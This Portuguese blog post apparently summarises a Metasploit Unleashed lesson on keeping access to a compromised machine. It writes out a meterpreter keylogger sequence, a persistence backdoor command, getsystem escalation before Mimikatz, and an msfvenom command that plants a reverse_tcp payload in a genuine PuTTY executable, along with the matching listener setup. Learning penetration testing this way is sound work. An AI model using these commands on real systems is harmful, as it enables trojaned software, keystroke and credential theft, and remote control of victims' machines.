DIA#29-Ethical Hacking Tools (Metasploit- Manter Acesso && Funcionalidades Extra da MSF)

    Hoje continuo com o tutorial da Offensive Security, desta vez o que fazer para manter acesso do target e funcionalidades extra da MSF.

Manter Acesso    

Keylogger

    Após obter acesso a uma máquina, normalmente é boa ideia manter esse acesso para fazer uma análise mais aprofundada. Uma ferramenta usada para essa análise é um keylogger, que permite registar todo o input do teclado, sem escrever nada no disco e deixando vestígios mínimos. 

    Um exemplo de uso do keylogger encontra-se disponível no tutorial, em que primeiro faz-se exploit do sistema como normalmente com o módulo "warftpd_165_user", de seguida migra-se o processo "Explorer.exe" e finalmente corre-se o keylogger usando "keyscan_start" e depois "keyscan_dump" para despejar o que foi escrito. Se o attacker quiser retirar informação do logon basta migrar para o processo "winlogon.exe" em vez do anterior.

Backdoors Persistentes

    De modo a continuar a ter acesso mesmo depois de patches é importante criar um Backdoor Persistente.

     Um exemplo de uso de Backdoor Persistente encontra-se no tutorial, mas antes de mais é necessário ter em atenção que no backdoor do exemplo não requer autenticação pelo que qualquer pessoa pode aceder a esse backdoor, normalmente é melhor optar por uma opção que permita ter autenticação.

    Para estabelecer este Backdoor Persistente começa-se com "run persistence -h" numa sessão meterpreter e coloca-se, por exemplo, "run persistence -U -i 5 -p 443 -r 192.168.1.71". De seguida para verificar que funciona faz-se "reboot" e "exit", posteriormente faz-se o setup do handler em que se usa o módulo "ms08_067_netapi", onde se coloca "use exploit/multi/handler" com payload de "/meterpreter/reverse_tcp", um LHost e LPort. Depois disto se o utilizador fizer logon no sistema, uma sessão meterpreter será aberta.

Funcionalidades Extra da MSF

    A MSF está constantemente em evolução, incorporando frequentemente ferramentas criadas por utilizadores. De seguida vão-se dar exemplos de de algumas dessas ferramentas:

Mimikatz

    "Mimikatz" é uma ferramenta que aglomera um conjunto de ferramentas usadas para conseguir obter uma posição mais firme no sistema comprometido. 

    Esta ferramenta irá correr numa sessão meterpreter no target, com privilégios ao nível de Sistema, para isso utiliza-se os comandos da seguinte imagem.

  

meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

    Depois de obter as permissões de sistema, irá-se confirmar com "sysinfo" a arquitectura do target, isto é relevante uma vez que, em maquinas de 64bits pode-se ter comprometido um processo de 32bits numa arquitetura de 64bits, fazendo com que o meterpreter faça load na memória da versão do "mimikatz" de 32bits, oque vai causar que a maioria das funcionalidades não funcionem.

    Seguidamente irá utilizar-se o "mimikatz" em si, para ver como usar recomendo ir a "https://www.offensive-security.com/metasploit-unleashed/mimikatz/". 

    Disclaimer, esta ferramenta encontra-se numa mistura de inglês e francês consoante o comando utilizado.

Ficheiros Executáveis para Backdoor

    Com esta esta ferramenta é possível colocar backdoors em todos os ficheiros executáveis, como por exemplo iexplorer.exe, explorer.exe, putty, etc.

    No exemplo apresentado começou-se por fazer download do executável legitimo do putty, que se fez com "wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", de seguida usa-se "msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe" para injectar a payload "reverse_tcp" do meterpreter no executável, com o modo de encriptação "shikata_ga_nai" e grava ficheiro com backdoor na directoria webroot. Como se utiliza uma payload de reverse merterpreter é necessário utilizar o "/multi/handler" que se usa da seguinte maneira.

   

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

    Quando a vitima executar a versão comprometida do Putty, aparece uma sessão meterpreter do target.

PS.

• Falou-se de Backdoors no Metasploit, mas como o link lá disposto dá para um site inseguro, não coloquei esta parte no blog, para ver isso ir a "https://www.offensive-security.com/metasploit-unleashed/meterpreter-backdoor/", o mesmo é verdade para a interacção com "metsvc" que pode ser consultada em "https://www.offensive-security.com/metasploit-unleashed/interacting-metsvc/".
• Na parte do tutorial de Funcionalidades Extra da MSF encontram-se diversos exemplos do uso de ferramentas, os exemplos não foram colocados devido ao facto de estarem desactualizados, mesmo assim coloquei-os depois da descrição da ferramenta.